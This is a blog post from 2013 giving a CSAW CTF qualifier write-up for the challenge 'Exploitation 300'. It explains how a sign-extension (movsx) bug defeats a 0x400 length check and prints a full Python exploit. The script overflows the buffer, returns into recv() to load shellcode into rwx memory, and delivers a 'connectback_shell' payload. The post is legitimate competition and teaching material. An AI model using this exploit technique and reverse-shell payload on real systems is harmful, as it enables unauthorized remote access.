Monday, September 23, 2013

CSAW CTF Quals: Exploitation 300

This challenge brought in some slight return to libc concepts to execute our shellcode in rwx memory. However, we first had to find the exploit, since Hex-Rays made it seem un-exploitable. The code of interest is:
  n = buffLength;
  if ( (unsigned int)(buffLength + 1) <= 0x400 )

Hex-Rays did not show that in the assembly, it makes a movesx, which is a move sign extend. So, if the the byte number we sent had a leading bit of 1, that would be extended when it was copied over to the register. The negative number copied over would always be less than the 400h limit of our input size. The related assembly is:
.text:08048F09                 mov     eax, [ebp+buffLength]  //Our input for the length of the entry
.text:08048F0C                 mov     [ebp+var_4AC], ax  //Only copy the lower half of EAX
.text:08048F13                 mov     [ebp+var_C], 0
.text:08048F1A                 mov     [ebp+stream], 0
.text:08048F21                 movsx   eax, [ebp+var_4AC] //Move the lower half back into EAX, but extend the sign  ** Vulnerable
.text:08048F28                 mov     [ebp+n], eax
.text:08048F2B                 mov     eax, [ebp+n]
.text:08048F2E                 add     eax, 1
.text:08048F31                 cmp     eax, 400h  // Negative number is always less than 400h
.text:08048F36                 jbe     short loc_8048F5B

Now that we know we can overflow it when our number is greater than 32768 and less than 65535, we can execute a recv() into the rwx memory found at:
0804b000-0804c000 rwxp 00002000 08:01 409039     /root/Desktop/fil_chal
The winning script, excuse the poor variable names, is:
import socket, binascii, struct, time, string, sys
baseAddress =  0x804b020
for tme in xrange(1,2):

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   #s.connect(("127.0.0.1", 34266))
   s.connect(("128.238.66.217",34266))
   f = open("connectback_shell", "r")
   shellcode = f.read(94)
   f.close
   s.sendall("csaw2013"+'\n')
   s.sendall("S1mplePWD"+'\n')
   s.sendall("65535"+'\n')
   print "Trying :" + str(tme)
   s.sendall(shellcode+'\x90'*(1010-2*len(shellcode))+shellcode+'\x90'*50+struct.pack("<I", 0x8048890 )+
      struct.pack("<I",baseAddress) + struct.pack("<I",4)+struct.pack("<I",baseAddress)+struct.pack("<I",100)+"\x00\x00\x00\x00")
   time.sleep(1)
   s.sendall(shellcode)
   stuff = s.recv(2014)
   s.close()

Any questions or suggestions, feel free to comment!

--Imp3rial

No comments:

Post a Comment